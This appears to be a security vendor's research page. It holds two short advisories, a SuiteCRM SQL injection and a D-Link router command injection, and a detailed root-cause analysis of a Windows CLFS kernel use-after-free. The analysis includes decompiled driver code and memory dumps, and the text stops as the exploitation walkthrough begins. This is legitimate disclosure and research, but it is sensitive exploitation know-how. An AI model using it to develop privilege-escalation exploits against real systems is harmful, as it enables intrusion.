Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com.

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

SalesAgility SuiteCRM ‘export’ Request SQL Injection Vulnerability

EIP-0f5d2d7f

A SQL injection vulnerability exists within SalesAgility SuiteCRM within the processing of the ‘uid’ parameter within the ‘export’ functionality. Successful exploitation allows remote unauthenticated attackers to ultimately execute arbitrary code.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-0f5d2d7f
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 9.7

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: March 2nd, 2022
  • Disclosed to public: June 9th, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com.

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

D-Link DIR-1260 GetDeviceSettings Pre-Auth Command Injection Vulnerability

EIP-3b20d7b3

A command injection vulnerability exists within the web management interface of the D-Link DIR-1260 Wi-Fi router that allows for unauthenticated attackers to execute arbitrary commands on the device with root privileges. The flaw specifically exists within the SetDest/Dest/Target arguments to the GetDeviceSettings form. The management interface is accessible over HTTP and HTTPS on the local and Wi-Fi networks and optionally from the Internet.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-3b20d7b3
  • MITRE CVE: TBD

Vulnerability Metrics

  • CVSSv2 Score: 8.3

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: March 2nd, 2022
  • Disclosed to public: May 11th, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com.

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

Exploiting a use-after-free in Windows Common Logging File System (CLFS)

By Arav Garg

Overview

This post analyzes a use-after-free vulnerability in clfs.sys, the kernel driver that implements the Common Logging File System, a general-purpose logging service that can be used by user-space and kernel-space processes in Windows. A method to exploit this vulnerability to achieve privilege escalation in Windows is also outlined.

Along with two other similar vulnerabilities, Microsoft patched this vulnerability in September 2021 and assigned the CVEs CVE-2021-36955, CVE-2021-36963, and CVE-2021-38633 to them. In the absence of any public information separating the three CVEs, we’ve decided to use CVE-2021-36955 to refer to the vulnerability described herein.

The Preliminaries section describes CLFS structures, Code Analysis explains the vulnerability with the help of code snippets, and the Exploitation section outlines the steps that lead to a functional exploit.

Preliminaries

Common Log File System (CLFS) provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access. Any user-mode application that needs logging or recovery support can use CLFS. The following structures are taken from both the official documentation and a third-party’s unofficial documentation.

Every Base Log File is made up various records. These records are stored in sectors, which are written to in units of I/O called log blocks. These log blocks are always read and written in an atomic fashion to guarantee consistency.

Metadata Blocks

Every Base Log File is made up of various records. These records are stored in sectors, which are written to in units of I/O called log blocks. The Base Log File is composed of 6 different metadata blocks (3 of which are shadows), which are all examples of log blocks.

The three types of records that exist in such blocks are:

  • Control Record that contains info about layout, extend area and truncate area.
  • Base Record that contains symbol tables and info about the client, container and security contexts.
  • Truncate Record that contains info on every client that needs to have sectors changed as a result of a truncate operation.

Shadow Blocks

Three metadata records were defined above, yet six metadata blocks exist (and each metadata block only contains one record). This is due to shadow blocks, which are yet another technique used for consistency. Shadow blocks contain the previous copy of the metadata that was written, and by using the dump count in the record header, can be used to restore previously known good data in case of torn writes.

The following enumeration describes the six types of metadata blocks.

typedef enum _CLFS_METADATA_BLOCK_TYPE
{
    ClfsMetaBlockControl,
    ClfsMetaBlockControlShadow,
    ClfsMetaBlockGeneral,
    ClfsMetaBlockGeneralShadow,
    ClfsMetaBlockScratch,
    ClfsMetaBlockScratchShadow
} CLFS_METADATA_BLOCK_TYPE, *PCLFS_METADATA_BLOCK_TYPE;

Control Record

The Control Record is always composed of two sectors, as defined by the constant below:

const USHORT CLFS_CONTROL_BLOCK_RAW_SECTORS = 2;

The Control Record is defined by the structure CLFS_CONTROL_RECORD, which is shown below:

typedef struct _CLFS_CONTROL_RECORD
{
    CLFS_METADATA_RECORD_HEADER hdrControlRecord;
    ULONGLONG ullMagicValue;
    UCHAR Version;
    CLFS_EXTEND_STATE eExtendState;
    USHORT iExtendBlock;
    USHORT iFlushBlock;
    ULONG cNewBlockSectors;
    ULONG cExtendStartSectors;
    ULONG cExtendSectors;
    CLFS_TRUNCATE_CONTEXT cxTruncate;
    USHORT cBlocks;
    ULONG cReserved;
    CLFS_METADATA_BLOCK rgBlocks[ANYSIZE_ARRAY];
} CLFS_CONTROL_RECORD, *PCLFS_CONTROL_RECORD;

After Version, the next set of fields are all related to CLFS Log Extension. This data could potentially be non-zero in memory, but for a stable Base Log File on disk, all of these fields are expected to be zero. This does not, of course, imply the CLFS driver or code necessarily makes this assumption.

The first CLFS Log Extension field, eExtendState, identifies the current extend state for the file using the enumeration below:

typedef enum _CLFS_EXTEND_STATE
{
    ClfsExtendStateNone,
    ClfsExtendStateExtendingFsd,
    ClfsExtendStateFlushingBlock
} CLFS_EXTEND_STATE, *PCLFS_EXTEND_STATE;

The next two values iExtendBlock and iFlushBlock identify the index of the block being extended, followed by the block being flushed, the latter of which will normally be the shadow block. Next, the sector size of the new block is stored in cNewBlockSectors and the original sector size before the extend operation is stored in cExtendStartSectors. Finally, the number of sectors that were added is saved in cExtendSectors.

  • Block Context: The control record ends with the rgBlocks array, which defines the set of metadata blocks that exist in the Base Log File. Although this is expected to be 6, there could potentially exist additional metadata blocks, and so for forward support, the cBlocks field
    indicates the number of blocks in the array.

Each array entry is identified by the CLFS_METADATA_BLOCK structure, shown below:

typedef struct _CLFS_METADATA_BLOCK
{
    union
    {
        PUCHAR pbImage;
        ULONGLONG ullAlignment;
    };
    ULONG cbImage;
    ULONG cbOffset;
    CLFS_METADATA_BLOCK_TYPE eBlockType;
} CLFS_METADATA_BLOCK, *PCLFS_METADATA_BLOCK;

On disk, the cbOffset field indicates the offset, starting from the control metadata block (i.e.: the first sector in the Base Log File). Of where the metadata block can be found. The cbImage field, on the other hand, contains the size of the corresponding block, while the eBlockType
corresponds to the previously shown enumeration of possible metadata block types.

In memory, an additional field, pbImage, is used to store a pointer to the data in kernel-mode memory.

CLFS In-Memory Class

Once in memory, a CLFS Base Log File is represented by a CClfsBaseFile class, which can be further extended by a CClfsBaseFilePersisted. The definition for the former can be found in public symbols and is shown below:

struct _CClfsBaseFile
{
    ULONG m_cRef;
    PUCHAR m_pbImage;
    ULONG m_cbImage;
    PERESOURCE m_presImage;
    USHORT m_cBlocks;
    PCLFS_METADATA_BLOCK m_rgBlocks;
    PUSHORT m_rgcBlockReferences;
    CLFSHASHTBL m_symtblClient;
    CLFSHASHTBL m_symtblContainer;
    CLFSHASHTBL m_symtblSecurity;
    ULONGLONG m_cbContainer;
    ULONG m_cbRawSectorSize;
    BOOLEAN m_fGeneralBlockReferenced;
} CClfsBaseFile, *PCLFSBASEFILE;

These fields mainly represent data seen earlier, such as the size of the container, the sector size, the array of metadata blocks and their number, as well as the size of the whole Base Log File and its location in kernel mode memory. Additionally, the class is reference counted, and almost any access to any of its fields is protected by the m_presImage lock, which is an executive resource accessed in either shared or exclusive mode. Finally, each block itself is also referenced in the m_rgcBlockReferences array, noting there’s a limit of 65535 references. When the general block has been referenced at least once, the m_fGeneralBlockReferenced boolean is used to indicate the fact.

Code Analysis

All code listings show decompiled C code; source code is not available in the affected product.
Structure definitions are obtained by reverse engineering and may not accurately reflect structures defined in the source code.

Opening a Log File

The CreateLogFile() function in the Win32 API can be used to open an existing log. This function triggers a call to CClfsBaseFilePersisted::OpenImage() in clfs.sys. The pseudocode of CClfsBaseFilePersisted::OpenImage() is listed below:

long __thiscall
CClfsBaseFilePersisted::OpenImage
          (CClfsBaseFilePersisted *this,_UNICODE_STRING *ExtFileName,_CLFS_FILTER_CONTEXT *ClfsFilterContext,
          unsigned_char param_3,unsigned_char *param_4)

{

[Truncated]

[1]

    Status = CClfsContainer::Open(this->CclfsContainer,ExtFileName,ClfsFilterContext,param_3,local_48);
    if ((int)Status < 0) {
LAB_fffff801226897c8:
        StatusDup = Status;
        if (Status != 0xc0000011) goto LAB_fffff80122689933;
    }
    else {
        StatusDup = Status;
        UVar4 = CClfsContainer::GetRawSectorSize(this->field_0x98_CclfsContainer);
        this->rawsectorSize = UVar4;
        if ((0xfff < UVar4 - 1) || ((UVar4 & 0x1ff) != 0)) {
            Status = 0xc0000098;
            StatusDup = Status;
            goto LAB_fffff80122689933;
        }

[2]

        Status = ReadImage(this,&ClfsControlRecord);
        if ((int)Status < 0) goto LAB_fffff801226897c8;
        StatusDup = Status;
        Status = CClfsContainer::GetContainerSize(this->CclfsContainer,&this->ContainerSize);
        StatusDup = Status;
        if ((int)Status < 0) goto LAB_fffff80122689933;
        ClfsBaseLogRecord = CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)this);
        ControlRecord = ClfsControlRecord;
        if (ClfsBaseLogRecord != NULL) {

[Truncated]

[3]

            if (ClfsControlRecord->eExtendState == 0) goto LAB_fffff80122689933;
            Block = ClfsControlRecord->iExtendBlock;
            if (((((Block != 0) && (Block < this->m_cBlocks)) && (Block < 6)) &&
                ((Block = ClfsControlRecord->iFlushBlock, Block != 0 && (Block < this->m_cBlocks)))) &&
               ((Block < 6 &&
                (m_cbContainer = CClfsBaseFile::GetSize((CClfsBaseFile *)this),
                ControlRecord->cExtendStartSectors < m_cbContainer >> 9 ||
                ControlRecord->cExtendStartSectors == m_cbContainer >> 9)))) {
                cExtendSectors>>1 = ControlRecord->cExtendSectors >> 1;
                uVar8 = (this->m_rgBlocks[ControlRecord->iExtendBlock].cbImage >> 9) + cExtendSectors>>1;
                if (ControlRecord->cNewBlockSectors < uVar8 || ControlRecord->cNewBlockSectors == uVar8) {

[4]

                    Status = ExtendMetadataBlock(this,(uint)ControlRecord->iExtendBlock,cExtendSectors>>1);
                    StatusDup = Status;
                    goto LAB_fffff80122689933;
                }
            }
        }
    }

[Truncated]

}

After initializing some in-memory data structures, CClfsContainer:Open() is called to open the existing Base Log File at [1]. ReadImage() is then called to read the Base Log File at [2]. If the current extend state in the Extend Context is not ClfsExtendStateNone(0) at [3], the
possibility to expand the Base Log File is explored.

If the original sector size before the previous extension (ControlRecord->cExtendStartSectors) is less than or equal to the current sector size of
the Base Log File (m_cbContainer), and the sector size of the Block (to be expanded) after the previous extension (ControlRecord->cNewBlockSectors) is less than or equal to the latest required sector size (current sector size of the Block to be expanded this->m_rgBlocks[ControlRecord->iExtendBlock].cbImage >> 9 plus the number of sectors previously added cExtendSectors >> 1), the Base Log File needs expansion. ExtendMetadataBlock() is duly called at [4].

Note:

  • In all non-malicious cases, the current extend state is expected to be ClfsExtendStateNone(0) when the log file is written to disk.
  • Since the Extend Context is under attacker control (described below), all the fields discussed above can be set by the attacker.

Reading Base Log File

The CClfsBaseFilePersisted::ReadImage() function called at [2] is responsible for reading the Base Log File from disk. The pseudocode of this function is listed below:

int CClfsBaseFilePersisted::ReadImage
              (CClfsBaseFilePersisted *BaseFilePersisted,_CLFS_CONTROL_RECORD **ClfsControlRecordPtr)

{

[Truncated]

[5]

    BaseFilePersisted->m_cBlocks = 6;
    m_rgBlocks = (CLFS_METADATA_BLOCK *)ExAllocatePoolWithTag(0x200,0x90,0x73666c43);
    BaseFilePersisted->m_rgBlocks = m_rgBlocks;

[Truncated]

[6]

        memset(BaseFilePersisted->m_rgBlocks,0,(ulonglong)BaseFilePersisted->m_cBlocks * 0x18);
        memset(BaseFilePersisted->m_rgcBlockReferences,0,(ulonglong)BaseFilePersisted->m_cBlocks * 2);

[7]

        BaseFilePersisted->m_rgBlocks->cbOffset = 0;
        BaseFilePersisted->m_rgBlocks->cbImage = BaseFilePersisted->m_cbRawSectorSize * 2;
        BaseFilePersisted->m_rgBlocks[1].cbOffset = BaseFilePersisted->m_cbRawSectorSize * 2;
        BaseFilePersisted->m_rgBlocks[1].cbImage = BaseFilePersisted->m_cbRawSectorSize * 2;

[8]

        local_48 = CClfsBaseFile::GetControlRecord((CClfsBaseFile *)BaseFilePersisted,ClfsControlRecordPtr);

[9]

                        p_Var2 = BaseFilePersisted->m_rgBlocks->pbImage;
                        for (; (uint)indexIter < (uint)BaseFilePersisted->m_cBlocks;
                            indexIter = (ulonglong)((uint)indexIter + 1)) {
                            ControlRecorD = *ClfsControlRecordPtr;
                            pCVar3 = BaseFilePersisted->m_rgBlocks;
                            pCVar1 = ControlRecorD->rgBlocks + indexIter;
                            uVar6 = *(undefined4 *)((longlong)&pCVar1->pbImage + 4);
                            uVar5 = pCVar1->cbImage;
                            uVar7 = pCVar1->cbOffset;
                            m_rgBlocks = pCVar3 + indexIter;
                            *(undefined4 *)&m_rgBlocks->pbImage = *(undefined4 *)&pCVar1->pbImage;
                            *(undefined4 *)((longlong)&m_rgBlocks->pbImage + 4) = uVar6;
                            m_rgBlocks->cbImage = uVar5;
                            m_rgBlocks->cbOffset = uVar7;
                            pCVar3[indexIter].eBlockType = ControlRecorD->rgBlocks[indexIter].eBlockType;
                            BaseFilePersisted->m_rgBlocks[indexIter].pbImage = NULL;
                        }
                        BaseFilePersisted->m_rgBlocks->pbImage = p_Var2;
                        BaseFilePersisted->m_rgBlocks[1].pbImage = p_Var2;

[10]

                        local_48 = CClfsBaseFile::AcquireMetadataBlock(BaseFilePersisted,ClfsMetaBlockGeneral);
                        if (-1 < (int)local_48) {
                            BaseFilePersisted->field_0x94 = '\x01';
                        }
                        goto LAB_fffff80654e09f9e;

[Truncated]

}

The in-memory buffer of the rgBlocks array, which defines the set of metadata blocks that exist in the Base Log File, is allocated (m_rgBlocks) at [5]. Each array entry is identified by the CLFS_METADATA_BLOCK structure, which is of size 0x18. The cBlocks field, which indicates the number of blocks in the array, is set to the default value 6 (Hence, the size of allocation for m_rgBlocks is 0x18 * 6 = 0x90).

The content in m_rgBlocks is initialized to 0 at [6]. The first two entries in m_rgBlocks are for the Control Record and its shadow, both of which have a fixed size of 0x400. The sizes and offsets for these blocks are duly set at [7].

At this stage, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  00000000`00000000 00000000`00000400
ffffc60c`53904390  00000000`00000000 00000000`00000000
ffffc60c`539043a0  00000400`00000400 00000000`00000000
ffffc60c`539043b0  00000000`00000000 00000000`00000000
ffffc60c`539043c0  00000000`00000000 00000000`00000000
ffffc60c`539043d0  00000000`00000000 00000000`00000000
ffffc60c`539043e0  00000000`00000000 00000000`00000000
ffffc60c`539043f0  00000000`00000000 00000000`00000000
ffffc60c`53904400  00000000`00000000 00000000`00000000

CClfsBaseFile::GetControlRecord() is called to retrieve the Control Record from the Base Log File at [8]. The pbImage field in the first two entries in m_rgBlocks are duly populated. More on this below.

At this stage, m_rgBlocks contains the following values:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000000
ffffc60c`539043b0  00000000`00000000 00000000`00000000
ffffc60c`539043c0  00000000`00000000 00000000`00000000
ffffc60c`539043d0  00000000`00000000 00000000`00000000
ffffc60c`539043e0  00000000`00000000 00000000`00000000
ffffc60c`539043f0  00000000`00000000 00000000`00000000
ffffc60c`53904400  00000000`00000000 00000000`00000000

The rgBlocks array from the Control Record is copied into m_rgBlocks at [9]. Thus, the sizes and corresponding offsets of each of the metadata blocks is saved.

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  00000000`00000000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 00000000`00000000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

AcquireMetadataBlock() is called with the second parameter set to ClfsMetaBlockGeneral to read in the General Metadata Block from the Base Log File at [10]. The pbImage field for the corresponding entry and its shadow in m_rgBlocks are duly populated. More on this below.

At this stage, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  ffffb60a`b9ead000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

It is important to note that the pbImage field for the General Metadata Block and its shadow point to the same memory (refer [17] and [20]).

Reading Control Record

Internally, CClfsBaseFilePersisted::ReadImage() calls CClfsBaseFile::GetControlRecord() to retrieve the Control Record. The pseudocode of
CClfsBaseFile::GetControlRecord() is listed below:

long __thiscall CClfsBaseFile::GetControlRecord(CClfsBaseFile *this,_CLFS_CONTROL_RECORD **ClfsControlRecordptr)

{
    uint iVar4;
    astruct_12 *lVar3;
    _CLFS_LOG_BLOCK_HEADER *pbImage;
    uint RecordOffset;
    uint cbImage;

    *ClfsControlRecordptr = NULL;

[11]

    iVar4 = AcquireMetadataBlock((CClfsBaseFilePersisted *)this,0);
    if (-1 < (int)iVar4) {
        cbImage = this->m_rgBlocks->cbImage;
        ControlMetadataBlock = this->m_rgBlocks->pbImage;
        RecordOffset = pbImage->RecordOffsets[0];
        if (((RecordOffset < cbImage) && (0x6f < RecordOffset)) && (0x67 < cbImage - RecordOffset)) {

[12]

            *ClfsControlRecordptr =
                 (_CLFS_CONTROL_RECORD *)((longlong)ControlMetadataBlock->RecordOffsets + ((ulonglong)RecordOffset - 0x28));
        }
        else {
            iVar4 = 0xc01a000d;
        }
    }
    return (long)iVar4;
}

AcquireMetadataBlock() is called with the second parameter of type _CLFS_METADATA_BLOCK_TYPE set to ClfsMetaBlockControl (0) to acquire the
Control MetaData Block at [11]. The record offset is retrieved and used to calculate the address of the Control Record, which is saved at [12].

Acquiring Metadata Block

The CClfsBaseFile::AcquireMetadataBlock() function is used to acquire a metadata block. The pseudocode of this function is listed below:

int CClfsBaseFile::AcquireMetadataBlock
              (CClfsBaseFilePersisted *ClfsBaseFilePersisted,_CLFS_METADATA_BLOCK_TYPE BlockType)

{
    ulong lVar1;
    longlong BlockTypeDup;

    lVar1 = 0;
    if (((int)BlockType < 0) || ((int)(uint)ClfsBaseFilePersisted->m_cBlocks <= (int)BlockType)) {
        lVar1 = 0xc0000225;
    }
    else {
        BlockTypeDup = (longlong)(int)BlockType;

[13]

        ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] =
             ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] + 1;

[14]

        if ((ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] == 1) &&
           (lVar1 = (*ClfsBaseFilePersisted->vftable->field_0x8)(ClfsBaseFilePersisted,BlockType), (int)lVar1 < 0))
        {
            ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] =
                 ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] - 1;
        }
    }
    return (int)lVar1;
}

The m_rgcBlockReferences entry for the Control Metadata Block is increased by 1 to signal its usage at [13].

If the reference count is 1, it is clear the Control Metadata Block was not being actively used (prior to this). In this case, it needs to be read from disk. The second entry in the virtual function table is set to CClfsBaseFilePersisted::ReadMetadataBlock(), which is duly called at [14].

Read Metadata Block

The CClfsBaseFilePersisted::ReadMetadataBlock() function is used to read a metadata block from disk. The pseudocode of this function is listed below:

ulong __thiscall
CClfsBaseFilePersisted::ReadMetadataBlock(CClfsBaseFilePersisted *this,_CLFS_METADATA_BLOCK_TYPE BlockType)

{

[Truncated]

[15]

    cbImage = this->m_rgBlocks[(longlong)_BlockTypeDup].cbImage;
    cbOffset = (PIRP)(ulonglong)this->m_rgBlocks[(longlong)_BlockTypeDup].cbOffset;
    if (cbImage == 0) {
        uVar3 = 0;
    }
    else {
        if (0x6f < cbImage) {

[16]

            ClfsMetadataBlock =
                 (_CLFS_LOG_BLOCK_HEADER *)ExAllocatePoolWithTag(PagedPoolCacheAligned,(ulonglong)cbImage,0x73666c43);
            if (ClfsMetadataBlock == NULL) {
                uVar1 = 0xc000009a;
            }
            else {

[17]

                this->m_rgBlocks[(longlong)_BlockTypeDup].pbImage = ClfsMetadataBlock;
                memset(ClfsMetadataBlock,0,(ulonglong)cbImage);
                *(undefined4 *)&this->field_0xc8 = 0;
                this->field_0xd0 = 0;
                local_40 = local_40 & 0xffffffff00000000;
                local_50 = CONCAT88(local_50._8_8_,ClfsMetadataBlock);

[18]

                uVar5 = CClfsContainer::ReadSector
                                  ((ULONG_PTR)this->CclfsContainer,this->ObjectBody,NULL,(longlong *)local_50,
                                   cbImage >> 9,&cbOffset);
                uVar3 = (ulong)uVar5;
                if (((int)uVar3 < 0) ||
                   (uVar3 = KeWaitForSingleObject(this->ObjectBody,Executive,'\0','\0',NULL), (int)uVar3 < 0))
                goto LAB_fffff801226841ad;
                this_00 = (CClfsBaseFilePersisted *)ClfsMetadataBlock;

[19]

                uVar3 = ClfsDecodeBlock(ClfsMetadataBlock,cbImage >> 9,*(unsigned_char *)&ClfsMetadataBlock->UpdateCount
                                        ,(unsigned_char)0x10,local_res20);

[Truncated]

                    ShadowBlockType = BlockType + ClfsMetaBlockControlShadow;
                    uVar6 = (ulonglong)ShadowBlockType;

                            this->m_rgBlocks[ShadowBlockTypeDup].pbImage = NULL;
                            this->m_rgBlocks[ShadowBlockTypeDup].cbImage =
                                 this->m_rgBlocks[(longlong)_BlockTypeDup].cbImage;

[20]

                            this->m_rgBlocks[ShadowBlockTypeDup].pbImage =
                                 this->m_rgBlocks[(longlong)_BlockTypeDup].pbImage;

[Truncated]

The size of the Metadata block to be read is retrieved and saved in cbImage. Note that these sizes are stored in the Control Record of the Base Log File.

To read the Control Record, the hardcoded value is taken at [15], as the Control Record is of a fixed size. Memory (ClfsMetadataBlock) is allocated to read the metadata block from disk at [16]. The corresponding pbImage entry in m_rgBlocks is filled in and ClfsMetadataBlock is initialized to 0 at [17]. The function CClfsContainer::ReadSector() is called to read the specified number of sectors from disk at [18].

ClfsMetadataBlock now contains the exact contents of the metadata Block as present in the file. It is important to note that the Control Metadata Block contains the Control Context as described earlier. Thus, the contents of the Control Context are fully controlled by the attacker.
ClfsMetadataBlock is decoded via a call to ClfsDecodeBlock at [19]. It is also important to note that in the case of the Control Metadata Block, this does not modify any field in the Control Context. The corresponding shadow pbImage entry in m_rgBlocks is also set to ClfsMetadataBlock at [20].

Extending Metadata Block

The call to ExtendMetadataBlock() at [4] is used to extend the size of a particular metadata block in the Base Log File. The pseudocode of this function pertaining to when the current extend state is ClfsExtendStateFlushingBlock(2) is listed below:

long __thiscall
CClfsBaseFilePersisted::ExtendMetadataBlock
          (CClfsBaseFilePersisted *this,_CLFS_METADATA_BLOCK_TYPE BlockType,unsigned_long cExtendSectors>>1)
{

[Truncated]

    do {
        ret = retDup;
        if (*ExtendPhasePtr != 2) break;
        iFlushBlockPtr = &ClfsControlRecordDup->iFlushBlock;
        iExtendBlockPtr = &ClfsControlRecordDup->iExtendBlock;

[21]

        iFlushBlock = *iFlushBlockPtr;
        iFlushBlockDup = (ulonglong)iFlushBlock;
        iExtendBlock = *iExtendBlockPtr;
        iFlushBlockDup2 = (uint)iFlushBlock;

[22]

        if (((iFlushBlock == iExtendBlock) ||
            (uVar4 = IsShadowBlock(this_00,iFlushBlockDup2,(uint)iExtendBlock),
            uVar4 != (unsigned_char)0x0)) &&
           (this->m_rgBlocks[iFlushBlockDup].cbImage >> 9 <
            ClfsControlRecordDup->cNewBlockSectors)) {
            ExtendMetadataBlockDescriptor
                      (this,iFlushBlockDup2,
                       ClfsControlRecordDup->cExtendSectors >> 1);
            iFlushBlockDup = (ulonglong)*iFlushBlockPtr;
        }
        WriteMetadataBlock(this,(uint)iFlushBlockDup & 0xffff,(unsigned_char)0x0);
        if (*puVar1 == *puVar2) {
            *ExtendPhasePtr = 0;
        }
        else {
            *puVar1 = *puVar1 - 1;

[23]

            ret = ProcessCurrentBlockForExtend(this,ClfsControlRecordDup);
            retDup = ret;
            if ((int)ret < 0) break;
        }

[Truncated]

The index of the block being extended (iFlushBlock) and the block being flushed (iExtendBlock) are extracted from the Extend Context in the Control Record of the Base Log File at [21]. With specially crafted values of the above fields and cNewBlockSectors at [22], code execution reaches ProcessCurrentBlockForExtend() at [23]. ProcessCurrentBlockForExtend() internally calls ExtendMetadataBlockDescriptor(), whose pseudocode is listed below:

long __thiscall
CClfsBaseFilePersisted::ExtendMetadataBlockDescriptor
          (CClfsBaseFilePersisted *this,_CLFS_METADATA_BLOCK_TYPE iFlushBlock,unsigned_long cExtendSectors>>1)

{

[Truncated]

    iFlushBlockDup = (ulonglong)iFlushBlock;
    NewMetadataBlock = NULL;
    RecordHeader = NULL;
    iVar13 = 0;
    uVar3 = this->m_cbRawSectorSize;
    if (uVar3 == 0) {
        NewSize = 0;
    }
    else {
        NewSize = (uVar3 - 1) + this->m_rgBlocks[iFlushBlockDup].cbImage + cExtendSectors>>1 * 0x200 & -uVar3;
    }
    RecordsParamsPtr = this->m_rgBlocks;
    pCVar1 = RecordsParamsPtr + iFlushBlockDup;
    uVar4 = *(undefined4 *)&pCVar1->pbImage;
    uVar5 = *(undefined4 *)((longlong)&pCVar1->pbImage + 4);
    uVar3 = pCVar1->cbImage;
    uVar6 = pCVar1->cbOffset;
    CVar2 = RecordsParamsPtr[iFlushBlockDup].eBlockType;
    ShadowIndex._0_4_ = iFlushBlock + ClfsMetaBlockControlShadow;
    ShadowIndex = (ulonglong)(uint)ShadowIndex;
    uVar7 = IsShadowBlock((CClfsBaseFilePersisted *)ShadowIndex,iFlushBlock,(uint)ShadowIndex);
    if ((uVar7 == (unsigned_char)0x0) &&
       (uVar7 = IsShadowBlock((CClfsBaseFilePersisted *)ShadowIndex,(unsigned_long)ShadowIndex,iFlushBlock),
       uVar7 != (unsigned_char)0x0)) {
        if (RecordsParamsPtr[iFlushBlockDup].pbImage != NULL) {

[24]

            ExFreePoolWithTag(RecordsParamsPtr[iFlushBlockDup].pbImage,0);
            this->m_rgBlocks[iFlushBlockDup].pbImage = NULL;
            RecordsParamsPtr = this->m_rgBlocks;
            ShadowIndex = (ulonglong)(iFlushBlock + ClfsMetaBlockControlShadow);
        }

[25]

        RecordsParamsPtr[iFlushBlockDup].cbImage = RecordsParamsPtr[ShadowIndex].cbImage;
        m_rgBlocksDup = this->m_rgBlocks;
        m_rgBlocksDup[iFlushBlockDup].pbImage = m_rgBlocks[ShadowIndex].pbImage;

[Truncated]


With carefully crafted values in the Control Record of the Base Log File, code execution reaches [24].

At this stage, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  ffffb60a`b9ead000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

It is important to note that the pbImage field for the General Metadata Block and its shadow point to the same memory (refer to [17] and [20]). The pbImage field of the iFlushBlock index in m_rgBlocks is freed, and the corresponding entry is cleared at [24]. For example, if iFlushBlock is set to 2, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  00000000`00000000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

The entry is then repopulated with the shadow index entry at [25].

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  ffffb60a`b9ead000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

Since the original entry and the shadow index entry pointed to the same memory, the repopulation leaves a reference to freed memory. Any use of the General Metadata Block will refer to this freed memory, resulting in a Use After Free.

The vulnerability can be converted to a double free by closing the handle to the Base Log File. This will trigger a call to FreeMetadataBlock, which will free all pbImage entries in m_rgBlocks.

Exploitation

A basic understanding of the segment heap in the windows kernel introduced since the 19H1 update is required to understand the exploit mechanism. The paper titled “Scoop the Windows 10 pool!” from SSTIC 2020 describes this mechanism in detail.

Windows Notification Facility

Objects from Windows Notification Facility (WNF) are used to groom the heap and convert the use after free into a full exploit. A good understanding of WNF is thus required to understand the exploit. The details about WNF described below are taken from the following sources:

Creating WNF State Name

